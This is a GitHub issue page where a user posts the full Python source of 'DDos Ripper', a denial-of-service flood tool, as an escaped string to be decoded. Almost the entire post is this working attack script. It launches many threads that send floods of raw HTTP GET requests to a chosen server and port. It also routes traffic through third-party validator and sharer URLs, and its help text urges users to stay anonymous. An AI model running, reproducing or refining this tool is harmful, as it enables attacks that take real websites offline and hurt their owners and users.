Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

src if any1 cares #73

Open
prljav opened this issue Feb 10, 2024 · 0 comments
Open

src if any1 cares #73

prljav opened this issue Feb 10, 2024 · 0 comments

Comments

@prljav
Copy link

prljav commented Feb 10, 2024

just decode
#!/usr/bin/python3\r\n# -*- coding: utf-8 -*-\r\n\r\n\r\n\r\nimport sys\r\nfrom queue import Queue\r\nfrom optparse import OptionParser\r\nimport time,sys,socket,threading,logging,urllib.request,random\r\n\r\nprint(\'\'\'\r\n\r\n\r\n\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x97\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97\r\n\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d \xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97\r\n\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x9d\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x9d\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x9d\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x9d\r\n\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d \xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d \xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d \xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97\r\n\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x9d\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x9d\xe2\x95\x9a\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x9d\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\r\n\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d \r\n \xc2\xa9EngineRipper\r\n reference by Hammer\r\n\'\'\')\r\n\r\ndef user_agent():\r\n\tglobal uagent\r\n\tuagent=[]\r\n\tuagent.append("Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0) Opera 12.14")\r\n\tuagent.append("Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:26.0) Gecko/20100101 Firefox/26.0")\r\n\tuagent.append("Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3")\r\n\tuagent.append("Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)")\r\n\tuagent.append("Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.7 (KHTML, like Gecko) Comodo_Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7")\r\n\tuagent.append("Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)")\r\n\tuagent.append("Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1")\r\n\tuagent.append("Mozilla / 5.0(X11;Linux i686; rv:81.0) Gecko / 20100101 Firefox / 81.0")\r\n\tuagent.append("Mozilla / 5.0(Linuxx86_64;rv:81.0) Gecko / 20100101Firefox / 81.0")\r\n\tuagent.append("Mozilla / 5.0(X11;Ubuntu;Linuxi686;rv:81.0) Gecko / 20100101Firefox / 81.0")\r\n\tuagent.append("Mozilla / 5.0(X11;Ubuntu;Linuxx86_64;rv:81.0) Gecko / 20100101Firefox / 81.0")\r\n\tuagent.append("Mozilla / 5.0(X11;Fedora;Linuxx86_64;rv:81.0) Gecko / 20100101Firefox / 81.0")\r\n\treturn(uagent)\r\n\r\n\r\n\r\ndef my_bots():\r\n\tglobal bots\r\n\tbots=[]\r\n\tbots.append("http://validator.w3.org/check?uri=")\r\n\tbots.append("http://www.facebook.com/sharer/sharer.php?u=")\r\n\treturn(bots)\r\n\r\n\r\ndef my_bots2():\r\n\tglobal bots\r\n\tbots=[]\r\n\tbots.append("http://validator.w3.org/check?uri=")\r\n\tbots.append("http://www.facebook.com/sharer/sharer.php?u=")\r\n\treturn(bots)\r\n\r\n\r\n\r\ndef bot_rippering(url):\r\n\ttry:\r\n\t\twhile True:\r\n\t\t\treq = urllib.request.urlopen(urllib.request.Request(url,headers={\'User-Agent\': random.choice(uagent)}))\r\n\t\t\tprint("\\033[95mbot is rippering...\\033[0m")\r\n\t\t\ttime.sleep(.1)\r\n\texcept:\r\n\t\ttime.sleep(.1)\r\n\r\ndef bot_again_rippering(url):\r\n\ttry:\r\n\t\twhile True:\r\n\t\t\treq = urllib.request.urlopen(urllib.request.Request(url, headers={\'User-Agent\': random.choice(uagent)}))\r\n\t\t\tprint("\\033[90magain bot is rippering...\\033[0m")\r\n\t\t\ttime.sleep(.1)\r\n\texcept:\r\n\t\ttime.sleep(.2)\r\n\r\n\r\ndef down_it(item):\r\n\ttry:\r\n\t\twhile True:\r\n\t\t\tpacket = str("GET / HTTP/1.1\\nHost: "+host+"\\n\\n User-Agent: "+random.choice(uagent)+"\\n"+data).encode(\'utf-8\')\r\n\t\t\ts = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n\t\t\ts.connect((host,int(port)))\r\n\t\t\tif s.sendto( packet, (host, int(port)) ):\r\n\t\t\t\ts.shutdown(1)\r\n\t\t\t\tprint ("\\033[92m",time.ctime(time.time()),"\\033[0m \\033[92m <--packet sent! rippering--> \\033[0m")\r\n\t\t\telse:\r\n\t\t\t\ts.shutdown(1)\r\n\t\t\t\tprint("\\033[91mshut<->down\\033[0m")\r\n\t\t\ttime.sleep(.1)\r\n\texcept socket.error as e:\r\n\t\tprint("\\033[91mno connection! web server maybe down!\\033[0m")\r\n\t\t#print("\\033[91m",e,"\\033[0m")\r\n\t\ttime.sleep(.1)\r\n\r\n\r\ndef dos():\r\n\twhile True:\r\n\t\titem = q.get()\r\n\t\tdown_it(item)\r\n\t\tq.task_done()\r\n\r\n\r\ndef dos2():\r\n\twhile True:\r\n\t\titem=w.get()\r\n\t\tbot_rippering(random.choice(bots)+"http://"+host)\r\n\t\tw.task_done()\r\n\r\n#def dos3():\r\n # while True:\r\n # item = e.get()\r\n # bot_rippering(random.choice(bots)+"http://"+host)\r\n # e.task_done()\r\n\r\ndef usage():\r\n\tprint (\'\'\' \\033[0;95mDDos Ripper \r\n\t\r\n\tIt is the end user\'s responsibility to obey all applicable laws.\r\n\tIt is just like a server testing script and Your ip is visible. Please, make sure you are anonymous! \\n\r\n\tUsage : python3 dripper.py [-s] [-p] [-t] [-q]\r\n\t-h : -help\r\n\t-s : -server ip\r\n\t-p : -port default 80\r\n\t-q : -quiet\r\n\t\r\n\t-t : -turbo default 135 or 443 \\033[0m \'\'\')\r\n\r\n\tsys.exit()\r\n\r\n\r\ndef get_parameters():\r\n\tglobal host\r\n\tglobal port\r\n\tglobal thr\r\n\tglobal item\r\n\toptp = OptionParser(add_help_option=False,epilog="Rippers")\r\n\toptp.add_option("-s","--server", dest="host",help="attack to server ip -s ip")\r\n\toptp.add_option("-p","--port",type="int",dest="port",help="-p 80 default 80")\r\n\toptp.add_option("-t","--turbo",type="int",dest="turbo",help="default 135 or 443 -t 135 or 443")\r\n\toptp.add_option("-h","--help",dest="help",action=\'store_true\',help="help you")\r\n\toptp.add_option("-q", "--quiet", help="set logging to ERROR", action="store_const", dest="loglevel",const=logging.ERROR, default=logging.INFO)\r\n\topts, args = optp.parse_args()\r\n\tlogging.basicConfig(level=opts.loglevel,format=\'%(levelname)-8s %(message)s\')\r\n\tif opts.help:\r\n\t\tusage()\r\n\tif opts.host is not None:\r\n\t\thost = opts.host\r\n\telse:\r\n\t\tusage()\r\n\tif opts.port is None:\r\n\t\tport = 80\r\n\telse:\r\n\t\tport = opts.port\r\n\r\n\tif opts.turbo is None:\r\n\t\tthr = 135\r\n\telse:\r\n\t\tthr = opts.turbo\r\n\r\n\r\n\r\n# reading headers\r\nglobal data\r\nheaders = open("headers.txt", "r")\r\ndata = headers.read()\r\nheaders.close()\r\n#task queue are q,w,e\r\nq = Queue()\r\nw = Queue()\r\ne = Queue()\r\n\r\n\r\nif __name__ == \'__main__\':\r\n\tif len(sys.argv) < 2:\r\n\t\tusage()\r\n\tget_parameters()\r\n\tprint("\\033[92m",host," port: ",str(port)," turbo: ",str(thr),"\\033[0m")\r\n\tprint("\\033[94mPlease wait...\\033[0m")\r\n\tuser_agent()\r\n\tmy_bots()\r\n\ttime.sleep(5)\r\n\ttry:\r\n\t\ts = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n\t\ts.connect((host,int(port)))\r\n\t\ts.settimeout(1)\r\n\texcept socket.error as e:\r\n\t\tprint("\\033[91mcheck server ip and port\\033[0m")\r\n\t\tusage()\r\n\twhile True:\r\n\t\tfor i in range(int(thr)):\r\n\t\t\tt = threading.Thread(target=dos)\r\n\t\t\tt.daemon = True # if thread is exist, it dies\r\n\t\t\tt.start()\r\n\t\t\tt2 = threading.Thread(target=dos2)\r\n\t\t\tt2.daemon = True # if thread is exist, it dies\r\n\t\t\tt2.start()\r\n\t\t#\tt3 = threading/Thread(target=dos3)\r\n\t\t#\tt3.daemon = True # if thread is exist, it dies\r\n\t\t#\tt3.start()\r\n\t\tstart = time.time()\r\n\t\t#tasking\r\n\t\titem = 0\r\n\t\twhile True:\r\n\t\t\tif (item>1800): # for no memory crash\r\n\t\t\t\titem=0\r\n\t\t\t\ttime.sleep(.1)\r\n\t\t\titem = item + 1\r\n\t\t\tq.put(item)\r\n\t\t\tw.put(item)\r\n\t\t\te.put(item)\r\n\t\tq.join()\r\n\tw.join()\r\ne.join()

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant